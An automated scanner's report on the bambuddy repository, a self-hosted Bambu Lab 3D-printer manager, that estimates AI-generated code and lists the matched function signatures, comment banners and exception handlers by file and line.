Your Bambu Lab. No Cloud. Your Rules. Self-hosted command center for Bambu Lab — from one A1 to an entire print farm.
This report presents the forensic synthetic code analysis of maziggy/bambuddy, a Python project with 2,873 GitHub stars. SynthScan v2.0 examined 686,107 lines of code across 1401 source files, recording 12374 pattern matches distributed across 21 syntactic categories. The overall adjusted score of 22.1 places this repository in the Moderate AI signal band.
The scanner applied 160+ deterministic lexical heuristics, multi-line block detectors, abstract syntax tree depth profilers, and a cross-file Jaccard similarity matrix to construct a statistically normalised synthetic code estimate. All matches are individually weighted by severity coefficient and contextual multiplier before summation, and the resulting headline score is temporally discounted to account for the repository's development history relative to the commercial emergence of large language model coding tooling (November 2022 onward).
This chart maps the temporal evolution of the adjusted synthetic code score across successive scan runs. An upward trajectory indicates ongoing incorporation of AI-generated code or expanding LLM-assisted scaffolding; a stable or declining trajectory may reflect active human refactoring, code removal, or the adoption of stricter authorship policies. The dashed secondary line (right axis) independently tracks total raw pattern hit count, which can diverge from the normalised score when codebase size changes significantly between scans.
Classifies detected patterns by their diagnostic confidence and structural impact. CRITICAL patterns (coefficient 10) represent definitive synthetic signatures — hallucinated imports, explicit LLM attribution metadata — virtually never produced by human authors. HIGH (5) indicates strong structural tells such as cross-file repetition or cross-linguistic idioms. MEDIUM (2) covers recognisable conversational padding and AI-specific vocabulary. LOW (1) captures subtle indicators like tautological comments and generic boilerplate that require density to carry independent signal.
This horizontal bar chart decomposes the repository's raw synthetic code score by top-level directory, allowing you to pinpoint precisely which modules or components carry the highest AI authorship density. Directories with disproportionately high scores relative to their size warrant targeted manual review: concentrated AI signatures often trace back to mass-generated configuration layers, auto-ported test suites, LLM-scaffolded boilerplate classes, or entire subsystems authored under heavy copilot assistance. Use this view to prioritise your human code-review effort.
The scanner identified 12374 distinct pattern matches across 21 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a statistically significant AI authorship indicator. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.
Reading the findings table: The Severity column indicates the diagnostic confidence level (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — comment-context matches receive a ×1.5 weight because LLMs systematically over-annotate. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier as dense clusters constitute far stronger evidence of synthetic authorship than isolated hits.
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | frontend/src/utils/amsHelpers.ts | 557 | export function resolveSlotNozzleDiameter( | CODE |
| LOW | frontend/src/utils/printer.ts | 75 | export function filterCompatibleQueueItems( | CODE |
| LOW | frontend/src/utils/filamentPresets.ts | 64 | export function genericFilamentIdForMaterial(material: string | null | undefined): string { | CODE |
| LOW | frontend/src/utils/filamentPresets.ts | 112 | export function buildFilamentPresetOptions(sources: FilamentPresetSources): FilamentPresetOption[] { | CODE |
| LOW | frontend/src/utils/inventoryQueries.ts | 6 | export function invalidateInventoryLocations(queryClient: QueryClient) { | CODE |
| LOW | frontend/src/utils/inventoryQueries.ts | 11 | export function invalidateSpoolAndLocationQueries( | CODE |
| LOW | frontend/src/utils/slicerPrinterMatch.ts | 57 | export function matchesPrinterModelSuffix(presetSuffix: string, printerModel: string): boolean { | CODE |
| LOW | frontend/src/utils/slicerPrinterMatch.ts | 160 | function extractPrinterPresetModel(printerPresetName: string): { model: string; nozzle: string | null } | null { | CODE |
| LOW | frontend/src/utils/slicerPrinterMatch.ts | 171 | function stripTrailingParenthetical(s: string): string { | CODE |
| LOW | frontend/src/utils/sidebarLayout.ts | 26 | export function getHiddenSidebarSystemItemIds(): string[] { | CODE |
| LOW | frontend/src/utils/sidebarLayout.ts | 38 | export function saveHiddenSidebarSystemItemIds(ids: string[]) { | CODE |
| LOW | frontend/src/utils/preheatFilamentTargets.ts | 40 | export function parsePreheatFilamentTargets(raw: string): Record<string, number> { | CODE |
| LOW | frontend/src/utils/preheatFilamentTargets.ts | 61 | export function serializePreheatFilamentTargets(map: Record<string, number>): string { | CODE |
| LOW | frontend/src/utils/preheatFilamentTargets.ts | 78 | export function normalizePreheatFilamentType(trayType: string): string { | CODE |
| LOW | frontend/src/utils/preheatFilamentTargets.ts | 86 | export function deriveChamberTargetForTrays( | CODE |
| LOW | frontend/src/utils/projectQueries.ts | 34 | export function invalidateArchiveAndProjectViews(queryClient: QueryClient) { | CODE |
| LOW | frontend/src/components/ModelViewer.tsx | 179 | function parsePlateIdFromAttributes(element: Element): number | null { | CODE |
| LOW | frontend/src/components/CreateUserAdvancedAuthModal.tsx | 32 | export function CreateUserAdvancedAuthModal({ | CODE |
| LOW | frontend/src/components/ConnectionDiagnostic.tsx | 112 | export function ConnectionDiagnosticModal(props: ConnectionDiagnosticModalProps) { | CODE |
| LOW | …ntend/src/components/VirtualPrinterDiagnosticModal.tsx | 32 | export function VirtualPrinterDiagnosticModal({ | CODE |
| LOW | frontend/src/components/NotificationTemplateEditor.tsx | 14 | export function NotificationTemplateEditor({ template, onClose }: NotificationTemplateEditorProps) { | CODE |
| LOW | …ontend/src/components/PreheatFilamentTargetsEditor.tsx | 23 | export function PreheatFilamentTargetsEditor({ value, onChange, disabled = false }: Props) { | CODE |
| LOW | frontend/src/components/PrintModal/archiveAmsMapping.ts | 32 | export function resolveArchiveSlicerAmsMapping( | CODE |
| LOW | frontend/src/components/spool-form/ColorSection.tsx | 13 | function normalizeExtraColorsInput(raw: string): { value: string; invalid: string[] } { | CODE |
| LOW | frontend/src/components/spool-form/utils.ts | 170 | function buildLocalFilamentOptions(localPresets: LocalPreset[]): FilamentOption[] { | CODE |
| LOW | frontend/src/components/spool-form/utils.ts | 406 | export function materialForGenericFilamentId(id: string | null | undefined): string { | CODE |
| LOW | frontend/src/components/spool-form/utils.ts | 420 | export function genericFilamentIdMatchesMaterial(id: string, material: string): boolean { | CODE |
| LOW | frontend/src/__tests__/components/SliceModal.test.tsx | 747 | function makeMultiPlateLibraryResponse() { | CODE |
| LOW | frontend/src/__tests__/components/SliceModal.test.tsx | 972 | function makeMultiColorPlateResponse() { | CODE |
| LOW | frontend/src/__tests__/components/SliceModal.test.tsx | 996 | function makeMultiColorRequirementsResponse() { | CODE |
| LOW | frontend/src/hooks/useMultiPrinterFilamentMapping.ts | 201 | function computeMappingWithOverrides( | CODE |
| LOW | frontend/src/hooks/useMultiPrinterFilamentMapping.ts | 296 | export function useMultiPrinterFilamentMapping( | CODE |
| LOW | frontend/src/api/client.ts | 86 | function parseContentDispositionFilename(header: string | null): string | null { | CODE |
| LOW | frontend/src/pages/PrintersPage.tsx | 1441 | function NozzleTemperatureControlBox({ | CODE |
| LOW | frontend/src/pages/FinancePage.tsx | 24 | function parsePrintChargeDescription(description: string | null): ParsedPrintChargeDescription { | CODE |
| LOW | …end/src/pages/spoolbuddy/SpoolBuddyCalibrationPage.tsx | 173 | export function SpoolBuddyCalibrationPage() { | CODE |
| LOW | tests/e2e_toggle_persistence_test.py | 16 | def test_smart_plug_auto_off_toggle_persistence(page): | CODE |
| LOW | tests/e2e_toggle_persistence_test.py | 106 | def test_notification_event_toggle_persistence(page): | CODE |
| LOW | tests/e2e_toggle_persistence_test.py | 190 | def test_ams_alarm_toggle_persistence(page): | CODE |
| LOW | tests/e2e_toggle_persistence_test.py | 254 | def test_smart_plug_power_off_confirmation(page): | CODE |
| LOW | tests/e2e_comprehensive_test.py | 12 | def test_navigation_and_sidebar(page): | CODE |
| LOW | tests/e2e_comprehensive_test.py | 283 | def test_external_links_sidebar(page): | CODE |
| LOW⚡ | backend/app/main.py | 839 | async def _kill_switch_notification_already_sent(task: asyncio.Task[bool] | None) -> bool: | CODE |
| LOW⚡ | backend/app/main.py | 2535 | async def _capture_snapshot_for_notification(printer_id: int, printer, logger) -> bytes | None: | CODE |
| LOW⚡ | backend/app/main.py | 6785 | async def _background_layer_timelapse(): | CODE |
| LOW⚡ | backend/app/main.py | 7112 | def start_ams_history_recording(): | CODE |
| LOW⚡ | backend/app/main.py | 7120 | def stop_ams_history_recording(): | CODE |
| LOW⚡ | backend/app/main.py | 7241 | def start_printer_sensor_history_recording(): | CODE |
| LOW⚡ | backend/app/main.py | 7248 | def stop_printer_sensor_history_recording(): | CODE |
| LOW⚡ | backend/app/main.py | 7374 | async def _spoolbuddy_watchdog_loop(): | CODE |
| LOW⚡ | backend/app/main.py | 7388 | def start_spoolbuddy_watchdog(): | CODE |
| LOW⚡ | backend/app/main.py | 7497 | async def _connection_watchdog_loop(): | CODE |
| LOW⚡ | backend/app/main.py | 7511 | def start_connection_watchdog(): | CODE |
| LOW⚡ | backend/app/main.py | 7566 | def _evict_stale_expected_prints() -> None: | CODE |
| LOW⚡ | backend/app/main.py | 7605 | async def _expected_prints_cleanup_loop() -> None: | CODE |
| LOW⚡ | backend/app/main.py | 7617 | def start_expected_prints_cleanup() -> None: | CODE |
| LOW⚡ | backend/app/main.py | 7624 | def stop_expected_prints_cleanup() -> None: | CODE |
| LOW | backend/app/main.py | 705 | def _is_bambuddy_authorized_print_in_memory(printer_id: int, state: PrinterState) -> bool: | CODE |
| LOW | backend/app/main.py | 714 | async def _is_printer_kill_switch_enabled_cached() -> bool: | CODE |
| LOW | backend/app/main.py | 734 | async def _is_bambuddy_authorized_print(printer_id: int, state: PrinterState, db) -> bool | None: | CODE |
| 7936 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | docker-publish.sh | 290 | # ============================================================ | COMMENT |
| MEDIUM | docker-publish.sh | 292 | # ============================================================ | COMMENT |
| MEDIUM | test_docker.sh | 134 | # ============================================ | COMMENT |
| MEDIUM | test_docker.sh | 136 | # ============================================ | COMMENT |
| MEDIUM | test_docker.sh | 161 | # ============================================ | COMMENT |
| MEDIUM | test_docker.sh | 163 | # ============================================ | COMMENT |
| MEDIUM | test_docker.sh | 189 | # ============================================ | COMMENT |
| MEDIUM | test_docker.sh | 191 | # ============================================ | COMMENT |
| MEDIUM | test_docker.sh | 202 | # ============================================ | COMMENT |
| MEDIUM | test_docker.sh | 204 | # ============================================ | COMMENT |
| MEDIUM | test_docker.sh | 215 | # ============================================ | COMMENT |
| MEDIUM | test_docker.sh | 217 | # ============================================ | COMMENT |
| MEDIUM | test_docker.sh | 282 | # ============================================ | COMMENT |
| MEDIUM | test_docker.sh | 284 | # ============================================ | COMMENT |
| MEDIUM | docker-publish-beta.sh | 199 | # ============================================================ | COMMENT |
| MEDIUM | docker-publish-beta.sh | 201 | # ============================================================ | COMMENT |
| MEDIUM | test_security.sh | 45 | # ── Temp directory for scan output ─────────────────────────────────────── | COMMENT |
| MEDIUM | test_security.sh | 58 | # ── SARIF parser (used for CodeQL result display) ──────────────────────── | COMMENT |
| MEDIUM | test_security.sh | 106 | # ── Scan functions (write to stdout, return exit code) ─────────────────── | COMMENT |
| MEDIUM | test_security.sh | 211 | # ── Job launcher (streams output live with prefix, captures to log) ────── | COMMENT |
| MEDIUM | test_security.sh | 235 | # ── Wait for all scans ─────────────────────────────────────────────────── | COMMENT |
| MEDIUM | test_security.sh | 280 | # ── Summary ────────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | test_security.sh | 293 | # ── Results table ──────────────────────────────────────────────────── | COMMENT |
| MEDIUM | test_security.sh | 318 | # ── Full output per scan ───────────────────────────────────────────── | COMMENT |
| MEDIUM | test_security.sh | 350 | # ── Main ───────────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | .gitleaks.toml | 7 | # ── Custom rules ───────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | .gitleaks.toml | 37 | # ── Global allowlist ───────────────────────────────────────────────────── | COMMENT |
| MEDIUM⚡ | docker-publish-daily-beta.sh | 101 | # ============================================================ | COMMENT |
| MEDIUM⚡ | docker-publish-daily-beta.sh | 103 | # ============================================================ | COMMENT |
| MEDIUM⚡ | docker-publish-daily-beta.sh | 126 | # ============================================================ | COMMENT |
| MEDIUM⚡ | docker-publish-daily-beta.sh | 128 | # ============================================================ | COMMENT |
| MEDIUM⚡ | docker-publish-daily-beta.sh | 287 | # ============================================================ | COMMENT |
| MEDIUM⚡ | docker-publish-daily-beta.sh | 289 | # ============================================================ | COMMENT |
| MEDIUM⚡ | docker-publish-daily-beta.sh | 379 | # ============================================================ | COMMENT |
| MEDIUM⚡ | docker-publish-daily-beta.sh | 381 | # ============================================================ | COMMENT |
| MEDIUM | docker-publish-daily-beta.sh | 399 | # ============================================================ | COMMENT |
| MEDIUM | docker-publish-daily-beta.sh | 401 | # ============================================================ | COMMENT |
| MEDIUM | docker-publish-daily-beta.sh | 430 | # ============================================================ | COMMENT |
| MEDIUM | docker-publish-daily-beta.sh | 432 | # ============================================================ | COMMENT |
| MEDIUM | install/install.sh | 62 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/install.sh | 64 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/install.sh | 179 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/install.sh | 181 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/install.sh | 282 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/install.sh | 284 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/install.sh | 316 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/install.sh | 318 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/install.sh | 751 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/install.sh | 753 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/docker-install.sh | 45 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/docker-install.sh | 47 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/docker-install.sh | 156 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/docker-install.sh | 158 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/docker-install.sh | 214 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/docker-install.sh | 216 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/docker-install.sh | 361 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/docker-install.sh | 363 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | frontend/src/components/TwoFactorSettings.tsx | 11 | // ─── Small reusable code input ──────────────────────────────────────────────── | COMMENT |
| MEDIUM | frontend/src/components/TwoFactorSettings.tsx | 36 | // ─── Backup codes display ───────────────────────────────────────────────────── | COMMENT |
| MEDIUM | frontend/src/components/TwoFactorSettings.tsx | 72 | // ─── TOTP setup wizard ──────────────────────────────────────────────────────── | COMMENT |
| 1303 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | frontend/docs/create_proxy_diagram.py | 41 | except Exception as e: | CODE |
| LOW | tests/e2e_toggle_persistence_test.py | 310 | except Exception as e: | CODE |
| LOW | tests/e2e_comprehensive_test.py | 366 | except Exception as e: | CODE |
| MEDIUM | backend/app/main.py | 5880 | def _notify_no_archive(): | CODE |
| MEDIUM | backend/app/main.py | 6094 | def _notify_billing_charge_failed() -> None: | CODE |
| LOW⚡ | backend/app/main.py | 830 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 846 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 2294 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 2527 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 2531 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 5729 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 5731 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 6773 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 6777 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 7107 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 7236 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 7383 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 7491 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 7506 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 7612 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 911 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 1347 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 1511 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 1557 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 1575 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 1591 | except Exception: | CODE |
| LOW | backend/app/main.py | 1647 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 1753 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 1807 | except Exception: | CODE |
| LOW | backend/app/main.py | 1825 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 1969 | except Exception: | CODE |
| LOW | backend/app/main.py | 2048 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 2214 | except Exception: | CODE |
| LOW | backend/app/main.py | 2350 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 2376 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 2387 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 2493 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 2598 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 2666 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 2713 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 2779 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 2830 | except Exception: | CODE |
| LOW | backend/app/main.py | 2857 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 2867 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 2970 | except Exception as notif_err: | CODE |
| LOW | backend/app/main.py | 2974 | except Exception as plate_err: | CODE |
| LOW | backend/app/main.py | 3196 | except Exception: | CODE |
| LOW | backend/app/main.py | 3240 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 3536 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 3608 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 3693 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 3815 | except Exception: | CODE |
| LOW | backend/app/main.py | 3829 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 3836 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 3886 | except Exception: | CODE |
| LOW | backend/app/main.py | 3921 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 3935 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 4046 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 4085 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 4104 | except Exception as e: | CODE |
| 737 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | backend/app/cli.py | 9 | CODE | |
| LOW | backend/app/core/oidc_env.py | 10 | CODE | |
| LOW | backend/app/core/auth.py | 1 | CODE | |
| LOW | backend/app/core/trace.py | 30 | CODE | |
| LOW | backend/app/core/encryption.py | 22 | CODE | |
| LOW | backend/app/core/tasks.py | 22 | CODE | |
| LOW | backend/app/core/compat.py | 6 | CODE | |
| LOW | backend/app/core/paths.py | 11 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/database.py | 252 | CODE | |
| LOW | backend/app/core/asyncio_handlers.py | 10 | CODE | |
| 795 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | requirements.txt | 1 | # Web Framework | COMMENT |
| LOW | requirements.txt | 41 | # Virtual Printer (emulates Bambu printer for slicer uploads) | COMMENT |
| LOW | requirements.txt | 81 | # STL Thumbnail Generation | COMMENT |
| LOW | requirements.txt | 121 | # same trust store httpx uses — the Windows OS store lacks the Amazon root | COMMENT |
| LOW | requirements.txt | 141 | urllib3>=2.7.0 | COMMENT |
| LOW | docker-publish.sh | 1 | #!/bin/bash | COMMENT |
| LOW | docker-publish-beta.sh | 1 | #!/bin/bash | COMMENT |
| LOW | test_security.sh | 1 | #!/usr/bin/env bash | COMMENT |
| LOW | docker-compose.yml | 1 | services: | COMMENT |
| LOW | docker-compose.yml | 21 | # | COMMENT |
| LOW | docker-compose.yml | 41 | # 50000-50009, VP 2 → 50010-50019, VP 3 → 50020-50029, etc. The default | COMMENT |
| LOW | docker-compose.yml | 61 | # narrowed range above. | COMMENT |
| LOW | docker-compose.yml | 81 | # so Bambuddy can request Let's Encrypt certs for virtual printers via | COMMENT |
| LOW | docker-compose.yml | 101 | # files back to the host share. | COMMENT |
| LOW | docker-compose.yml | 121 | #- BAMBUDDY_COMPOSE_DIR=${PWD} | COMMENT |
| LOW | docker-compose.yml | 141 | #- MFA_ENCRYPTION_KEY= | COMMENT |
| LOW | docker-compose.yml | 161 | # nearer the limit than is comfortable. The headroom costs nothing — the | COMMENT |
| LOW | docker-publish-daily-beta.sh | 1 | #!/bin/bash | COMMENT |
| LOW | docker-publish-daily-beta.sh | 21 | # | COMMENT |
| LOW | install/install.sh | 1 | #!/usr/bin/env bash | COMMENT |
| LOW | install/docker-install.sh | 1 | #!/usr/bin/env bash | COMMENT |
| LOW | frontend/src/contexts/SliceJobTrackerContext.tsx | 101 | const progress = progressRef.current.get(job.id) ?? null; | COMMENT |
| LOW | frontend/src/utils/colors.ts | 1 | // Runtime color-name catalog, populated once at app startup by ColorCatalogProvider | COMMENT |
| LOW | frontend/src/utils/filamentPresets.ts | 1 | // Tiered filament-preset list, shared by every picker that has to offer "all | COMMENT |
| LOW | frontend/src/utils/slicePresetPicker.ts | 1 | // Pure-function helpers for the SliceModal's per-slot preset selection. | COMMENT |
| LOW | frontend/src/utils/slicePresetPicker.ts | 121 | // print/schedule modal: type match dominates, exact-colour-match bumps over | COMMENT |
| LOW | frontend/src/utils/slicerPrinterMatch.ts | 1 | // Printer-compatibility matching for the SliceModal's process / filament | COMMENT |
| LOW | frontend/src/utils/slicerPrinterMatch.ts | 181 | // Compare two nozzle strings numerically, so "0.20" and "0.2" are the same | COMMENT |
| LOW | frontend/src/utils/slicerPrinterMatch.ts | 261 | } | COMMENT |
| LOW | frontend/src/components/ConfigureAmsSlotModal.tsx | 221 | // (e.g. "X1C", "H2D"). Two strategies in order: | COMMENT |
| LOW | frontend/src/components/ConfigureAmsSlotModal.tsx | 881 | const { fullName, material, brand, filamentId } = selectedPresetInfo; | COMMENT |
| LOW | frontend/src/components/KProfilesView.tsx | 201 | profile?.k_value ? truncateK(profile.k_value) : '0.020' | COMMENT |
| LOW | frontend/src/components/KProfilesView.tsx | 361 | // profile come back as "HH00-0.4" once the parse defaults had stamped it | COMMENT |
| LOW | frontend/src/components/GitHubRestoreModal.tsx | 121 | // new commit with the old commit's categories — none of which the user had | COMMENT |
| LOW | frontend/src/components/GitHubRestoreModal.tsx | 141 | const restoreMutation = useMutation({ | COMMENT |
| LOW | frontend/src/components/AssignSpoolModal.tsx | 61 | setDisableFiltering(false); | COMMENT |
| LOW | frontend/src/components/AssignSpoolModal.tsx | 241 | ); | COMMENT |
| LOW | frontend/src/components/SlicerPipelinesPanel.tsx | 101 | }, | COMMENT |
| LOW | frontend/src/components/SpoolFormModal.tsx | 341 | // Legacy rows may carry a malformed rgba (e.g. the 7-char 'FFFFFFF' | COMMENT |
| LOW | frontend/src/components/Layout.tsx | 81 | // disc is replaced by a button in the compact header: the bottom-right corner | COMMENT |
| LOW | frontend/src/components/QueueTimelineView.tsx | 81 | const nowMs = now.getTime(); | COMMENT |
| LOW | frontend/src/components/SliceModal.tsx | 61 | } | COMMENT |
| LOW | frontend/src/components/SliceModal.tsx | 201 | // entry per AMS slot the plate uses. Pre-pick (effect below) initialises | COMMENT |
| LOW | frontend/src/components/SliceModal.tsx | 221 | // because the process preset's default plate (typically "Cool Plate") is | COMMENT |
| LOW | frontend/src/components/SliceModal.tsx | 241 | COMMENT | |
| LOW | frontend/src/components/SliceModal.tsx | 301 | staleTime: 60_000, | COMMENT |
| LOW | frontend/src/components/SliceModal.tsx | 1281 | const { t } = useTranslation(); | COMMENT |
| LOW | frontend/src/components/PrintModal/index.tsx | 821 | }); | COMMENT |
| LOW | frontend/src/components/PrintModal/index.tsx | 1041 | // file, so an override on slot 3 means the same filament in every plate that | COMMENT |
| LOW | frontend/src/components/PrintModal/FilamentMapping.tsx | 41 | // type/color auto-match entirely — same mechanism as a manual per-slot | COMMENT |
| LOW | frontend/src/components/spool-form/ColorSection.tsx | 41 | // Current rgba in canonical 8-char uppercase form (RRGGBBAA). Used both for | COMMENT |
| LOW | frontend/src/components/spool-form/utils.ts | 161 | } | COMMENT |
| LOW | frontend/src/components/spool-form/utils.ts | 361 | // Spools store ``slicer_filament`` as a setting_id like "GFSG98_09" (the "_NN" | COMMENT |
| LOW | frontend/src/__tests__/setup.ts | 81 | COMMENT | |
| LOW | frontend/src/__tests__/utils/date.test.ts | 461 | // Date. So we feed it a Date object whose local components we control via | COMMENT |
| LOW | …__tests__/pages/InventoryPageArchivedConsumed.test.tsx | 181 | COMMENT | |
| LOW | frontend/src/__tests__/pages/SpoolBuddyAmsPage.test.tsx | 221 | }); | COMMENT |
| LOW | frontend/src/hooks/useWebSocket.ts | 101 | // Auth-disabled deployments accept connections without a token. | COMMENT |
| LOW | frontend/src/hooks/useWebSocket.ts | 221 | }); | COMMENT |
| LOW | frontend/src/hooks/useWebSocket.ts | 501 | debouncedInvalidate('spoolbuddy-update-check'); | COMMENT |
| 343 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | docker-publish-daily-beta.sh | 333 | # Create the release body | COMMENT |
| MEDIUM | install/install.sh | 368 | # Create the target user-owned (elevating only if its parent is root-owned, | COMMENT |
| MEDIUM | install/docker-install.sh | 312 | # Create a modified compose file for macOS | COMMENT |
| MEDIUM | slicer-api/docker-compose.arm64.yml | 9 | # This file is not meant to be used on its own. It is intended to be used in | COMMENT |
| MEDIUM | backend/app/main.py | 3721 | # Create a fallback archive without 3MF data so the print is still tracked | COMMENT |
| MEDIUM | backend/app/api/routes/maintenance.py | 529 | # Create the assignment | COMMENT |
| MEDIUM | backend/app/api/routes/settings.py | 794 | # Create a temporary engine for the import (current engine was disposed) | COMMENT |
| MEDIUM | backend/app/api/routes/projects.py | 1990 | # Create the project | COMMENT |
| MEDIUM | backend/app/api/routes/projects.py | 2117 | # Create the project | COMMENT |
| MEDIUM | backend/app/services/layer_timelapse.py | 145 | # Create a concat file listing all frames | COMMENT |
| MEDIUM | backend/app/services/smart_plug_manager.py | 458 | # Create a minimal plug-like object for the service | COMMENT |
| MEDIUM | backend/app/services/bambu_mqtt.py | 3261 | # Create a hash of relevant AMS data to detect changes. | COMMENT |
| MEDIUM | backend/app/services/virtual_printer/manager.py | 1892 | # This method is kept for backward compat with the settings endpoint. | COMMENT |
| MEDIUM | backend/tests/conftest.py | 259 | # Create a new session maker for the test engine | COMMENT |
| MEDIUM | backend/tests/conftest.py | 401 | # Create a mock smart_plug_service | COMMENT |
